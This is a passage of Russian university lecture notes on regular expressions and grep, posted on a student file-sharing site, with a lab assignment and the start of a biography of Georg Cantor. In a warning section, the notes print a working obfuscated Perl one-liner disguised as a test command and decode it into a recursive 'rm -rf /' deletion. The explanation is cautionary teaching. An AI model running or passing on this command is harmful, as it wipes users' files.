Главная » Просмотр файлов » Лекции Русакова

Лекции Русакова (1021002), страница 30

Файл №1021002 Лекции Русакова (Лекции Русакова) 30 страницаЛекции Русакова (1021002) страница 302017-07-09СтудИзба
Просмтор этого файла доступен только зарегистрированным пользователям. Но у нас супер быстрая регистрация: достаточно только электронной почты!

Текст из файла (страница 30)

Внутри регулярного выражения можно указывать “подшаблоны”,заключая их в круглые скобки и ссылаться на них как “\ номер”. Перваяскобка обозначается как “\ 1”.9.04. Установканеобходимогопрограммногообеспечения.Для выполнения практического задания достаточно использоватьфильтр grep с синтаксисом PERL рекурсивно (параметр –Pr).280grep — утилита командной строки, которая находит на вводе строки,отвечающие заданному регулярному выражению, и выводит их, если выводне отменён специальным ключом.

Название представляет собой акрониманглийской фразы «search globally for lines matching the regular expression, andprint them» — «искать везде строки, соответствующие регулярномувыражению, и выводить их».Изначально была создана для операционной системы UNIX, и поэтомудля Linux подобных операционных систем команда grep присутствует поумолчанию.Пользователям Windows можно загрузить интерпретатор PERL(http://www.perl.org/get.html), также существует portable версия, которая нетребует установки.Наиболее простым и безопасным вариантом является использованиепортированнойподwindowsутилиты(http://rusakovam.narod.ru/lec/dm/lit/grep.exe).grepДалее,изможноUnixUtilsскопироватьgrep.exe в каталог Windows, тогда эта утилита будет запускаться также как ипод LINUX, то есть в обычном для неё синтаксисе.Команда поиска регулярного выражения в файле имеет синтаксис:grep -Pr "RegExp" File,где –Pr означает использовать синтаксис PERL рекурсивно;RegExp – это регулярное выражение;File – полный путь к файлу;9.05.

Замечания.Будьте осторожны, необдуманные эксперименты свыражениями могут привести к печальным последствиям.281регулярнымиОдним из таких примеров является вызвавшая большой резонанспрограмма, так как на самом деле она является замаскированной командойрекурсивного удаления всех файлов, право на удаление которых есть утекущего пользователя:echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y; -/:@[-`{-};`-{/" -;;s;;$_;see'echo "test... test... test..." выполнение этой команды не влияет на работуи добавлено, скорее всего, для усыпления бдительности.То, что происходит в остальном коде — совсем не очевидно из-запреднамеренно запутанного написания. В данной строчке записано всего трипоследовательно выполняемых команды. Запишем команду следующимобразом:$? ? s:;s:s;;$?: : s;;=]=>%-{<-|}<&|`{; ;y; -/:-@[-`{-};`-{/" -; ;s;;$_;seeПервая конструкция анализирует переменную $? — код возвратапредыдущей команды.

Так как перед выполнением этой конструкциидочерних процессов не создавалось, $? будет содержать 0, и выполнена будетвторая «ветка» — s;;=]=>%-{<-|}<&|`{;. Эта команда, в свою очередь,заменяет строку в переменной-аккумуляторе $_ на =]=>%-{<-|}<&|`{ (первыйсимвол после s устанавливает ограничитель параметров этого оператора, ихотя традиционно используются слэш '/' или '|', для неясности в этойконструкции используется ограничитель ';').282Втораякомандатранслируетсодержимое«аккумулятора»подостаточно сложным правилам. В левой части указано четыре диапазонасимволов, в правой — один. Если раскрыть эти диапазоны, получимследующее соответствие:!"#$%&'()*+,-./:;<=>?@[\]^_`{|}`abcdefghijklmnopqrstuvwxyz{/" В результате содержимое $_ принимает видsystem"rm -rf /"Третья же команда дважды (как инструктирует флаг ee) «вычисляет»содержимое аккумулятора — вышеуказанную деструктивную команду — ипытается заменить пустую строку в аккумуляторе на результат вычисления.9.06.

Методический пример.1. Найти все строки в файле grep.txt, начинающихся с символа «+».grep -Pr "^[+]" r:\grep.txt2. Найти все строки в файле grep.txt, в формате одна цифра символ “+”одна цифра.grep -Pr "[0-9]\+[0-9]" r:\grep.txtgrep -Pr "\d\+\d" r:\grep.txt3. Найти все строки в файле grep.txt, в формате +x-xxx-xxxxxxx, где x –это цифра.grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt4. Найти все строки в файле grep.txt, в содержащие цифру с точкой.grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt2839.07. Контрольная распечатка.grep -Pr "^[+]" r:\grep.txt+7-123-7654321+7-123-7654321+7-123-7654521+7-123-1234567+7-123-765432111+7-926-5550001+MGUPI+6777grep -Pr "[0-9]\+[0-9]" r:\grep.txt11+15+233+8grep -Pr "\d\+\d" r:\grep.txt11+15+233+8grep -Pr "^(\+)(\d{1})(\-)(\d{3})(\-)(\d{7})$" r:\grep.txt+7-123-7654321+7-123-7654321+7-123-7654521+7-123-1234567+7-926-5550001grep -Pr "^([+-]?)(\d+)(\.?)(\d*)$" r:\grep.txt-17.98+677722.082849.08.

Отчет по практической работе.Отчет оформляется в соответствии с требованиями, предъявляемыми коформлению лабораторных работ в вузе, и должен содержать:1. Титульный лист.2. Наименование и цель работы.3. Исходные данные варианта задания.4. Полученное регулярное выражение.5. Контрольная распечатка.Замечание: листы отчета должны быть скреплены.9.09. Контрольные вопросы.Что такое регулярное выражение?Какие действия выполняет команда grep?Что такое мета символы?Что такое модификаторы?Правила регулярного выражения?9.10. Варианты заданий.Вариант задания определяется по последней цифре в зачётной книжке.1. Регулярное выражение для поиска всех URL адресов содержащихв названии первой директории слова it-6 или it6 или it-5 или it5,в следующем виде:“http://www.mgupi.ru/xxx(it-6 или it6 или it-5 илиit5)xxx/index.php”, причём символы x означают любые буквы, которыхможет и не быть.2.

Регулярное выражение для поиска всех URL адресов содержащихв названии 3-го поддомена слова it-6 или it6 или it-5 или it5, в следующемвиде: “http:// xxx(it-6 или it6 или it-5 или it5)xxx.mgupi.ru/main/index.php”,причём символы x означают любые буквы, которых может и не быть.2853. Регулярное выражение для поиска всех URL адресов в следующемвиде: “http:// xxx.mgupi.ru/xxx”, причём символы x означают любые буквы,которых может и не быть.4. Регулярное выражение для поиска всех ip-адресов в диапазоне от172.22.50.0 до 172.22.116.255.5.

Регулярное выражение для поиска всех ip-адресов в диапазоне от192.168.10.0 до 192.168.112.255.6. Регулярное выражение для поиска всех e-mail адресов содержащихв качестве домена 3-го уровня слово “it” и две или одну цифру,в следующем виде: “xxx@xx{слово it две или одна цифра}xxx.mgupi.ru”,причём символы x означают любые буквы, которых может и не быть.7. Регулярное выражение для поиска всех e-mail адресов содержащихв качестве имени пользователя слова it6 или it5 и две или одну цифру вимени 2-го домена, по следующему формату: “xxx(it6 или it5)xxx@xxx{двеили одна цифра}xxx.ru”, причём символы x означают любые буквы,которых может и не быть.8. Регулярное выражение для поиска всех телефонных номеров c кодом916 или 903 или 926 в формате +x-(916 или 903 или 926)-xxxxxxx, где x –это одна цифра.9.

Регулярное выражение для поиска всех e-mail адресов содержащихв качестве имени пользователя семь цифр, а в домене 2-го уровня слова it6или it5, в следующем виде: “ddddddd@xxx(it6 или it5)xxx.xxx.ru”, причёмсимволы x означают любые буквы, которых может и не быть, а d – этоодна цифра.10. Регулярное выражение для поиска всех ip-адресов в диапазоне от10.131.37.0 до 10.131.158.255.286Глава 10. Дополнительные материалы.10.01. Биография Георга Кантора (основатель теориимножеств).Гео́рг Ка́нтор (нем. Georg Ferdinand Ludwig Philipp Cantor, 3 марта1845) — немецкий математик. Он наиболее известен как создатель теориимножеств, ставшей краеугольным камнем в математике.

Кантор ввёл понятиевзаимно-однозначного соответствия между элементами множеств, далопределения бесконечного и вполне-упорядоченного множеств и доказал, чтодействительных чисел «больше», чем натуральных. Теорема Кантора,фактически, утверждает существование «бесконечности бесконечностей». Онопределил понятия кардинальных и порядковых чисел и их арифметику. Егоработа представляет большой философский интерес, о чём и сам Канторпрекрасно знал.Теория Кантора о трансфинитных числах первоначально былавоспринята настолько нелогичной, парадоксальной и даже шокирующей, чтонатолкнулась на резкую критику со стороны математиков-современников, вчастности, Леопольда Кронекера и Анри Пуанкаре; позднее — ГерманаВейля и Лёйтзена Брауэра, а Людвиг Витгенштейн высказал возраженияфилософского плана (см. Споры о теории Кантора).

Некоторые христианскиебогословы (особенно представители неотомизма) увидели в работе Канторавызов уникальности абсолютной бесконечности природы Бога, приравняводнажды теорию трансфинитных чисел и пантеизм. Критика его трудов былапорой очень агрессивна: так, Пуанкаре называл его идеи «тяжёлойболезнью», поражающей математическую науку; а в публичных заявлениях иличных выпадах Кронекера в адрес Кантора мелькали иногда такие эпитеты,как «научный шарлатан», «отступник» и «развратитель молодёжи».Десятилетия спустя после смерти Кантора, Витгенштейн с горечью отмечал,что математика «истоптана вдоль и поперёк разрушительными идиомами287теории множеств», которое он отклоняет как «шутовство», «смехотворное» и«ошибочное».

Периодически повторяющиеся с 1884 года и до конца днейКантора приступы депрессии некоторое время ставили в вину егосовременникам, занявшим чересчур агрессивную позицию, но сейчассчитается, что эти приступы, возможно, были проявлением биполярногорасстройства.Резкой критике противостояли всемирная известность и одобрение. В1904 году Лондонское королевское общество наградило Кантора МедальюСильвестра, высшей наградой, которую оно могло пожаловать.

Характеристики

Тип файла
PDF-файл
Размер
2,13 Mb
Тип материала
Высшее учебное заведение

Список файлов лекций

Свежие статьи
Популярно сейчас
А знаете ли Вы, что из года в год задания практически не меняются? Математика, преподаваемая в учебных заведениях, никак не менялась минимум 30 лет. Найдите нужный учебный материал на СтудИзбе!
Ответы на популярные вопросы
Да! Наши авторы собирают и выкладывают те работы, которые сдаются в Вашем учебном заведении ежегодно и уже проверены преподавателями.
Да! У нас любой человек может выложить любую учебную работу и зарабатывать на её продажах! Но каждый учебный материал публикуется только после тщательной проверки администрацией.
Вернём деньги! А если быть более точными, то автору даётся немного времени на исправление, а если не исправит или выйдет время, то вернём деньги в полном объёме!
Да! На равне с готовыми студенческими работами у нас продаются услуги. Цены на услуги видны сразу, то есть Вам нужно только указать параметры и сразу можно оплачивать.
Отзывы студентов
Ставлю 10/10
Все нравится, очень удобный сайт, помогает в учебе. Кроме этого, можно заработать самому, выставляя готовые учебные материалы на продажу здесь. Рейтинги и отзывы на преподавателей очень помогают сориентироваться в начале нового семестра. Спасибо за такую функцию. Ставлю максимальную оценку.
Лучшая платформа для успешной сдачи сессии
Познакомился со СтудИзбой благодаря своему другу, очень нравится интерфейс, количество доступных файлов, цена, в общем, все прекрасно. Даже сам продаю какие-то свои работы.
Студизба ван лав ❤
Очень офигенный сайт для студентов. Много полезных учебных материалов. Пользуюсь студизбой с октября 2021 года. Серьёзных нареканий нет. Хотелось бы, что бы ввели подписочную модель и сделали материалы дешевле 300 рублей в рамках подписки бесплатными.
Отличный сайт
Лично меня всё устраивает - и покупка, и продажа; и цены, и возможность предпросмотра куска файла, и обилие бесплатных файлов (в подборках по авторам, читай, ВУЗам и факультетам). Есть определённые баги, но всё решаемо, да и администраторы реагируют в течение суток.
Маленький отзыв о большом помощнике!
Студизба спасает в те моменты, когда сроки горят, а работ накопилось достаточно. Довольно удобный сайт с простой навигацией и огромным количеством материалов.
Студ. Изба как крупнейший сборник работ для студентов
Тут дофига бывает всего полезного. Печально, что бывают предметы по которым даже одного бесплатного решения нет, но это скорее вопрос к студентам. В остальном всё здорово.
Спасательный островок
Если уже не успеваешь разобраться или застрял на каком-то задание поможет тебе быстро и недорого решить твою проблему.
Всё и так отлично
Всё очень удобно. Особенно круто, что есть система бонусов и можно выводить остатки денег. Очень много качественных бесплатных файлов.
Отзыв о системе "Студизба"
Отличная платформа для распространения работ, востребованных студентами. Хорошо налаженная и качественная работа сайта, огромная база заданий и аудитория.
Отличный помощник
Отличный сайт с кучей полезных файлов, позволяющий найти много методичек / учебников / отзывов о вузах и преподователях.
Отлично помогает студентам в любой момент для решения трудных и незамедлительных задач
Хотелось бы больше конкретной информации о преподавателях. А так в принципе хороший сайт, всегда им пользуюсь и ни разу не было желания прекратить. Хороший сайт для помощи студентам, удобный и приятный интерфейс. Из недостатков можно выделить только отсутствия небольшого количества файлов.
Спасибо за шикарный сайт
Великолепный сайт на котором студент за не большие деньги может найти помощь с дз, проектами курсовыми, лабораторными, а также узнать отзывы на преподавателей и бесплатно скачать пособия.
Популярные преподаватели
Добавляйте материалы
и зарабатывайте!
Продажи идут автоматически
6358
Авторов
на СтудИзбе
311
Средний доход
с одного платного файла
Обучение Подробнее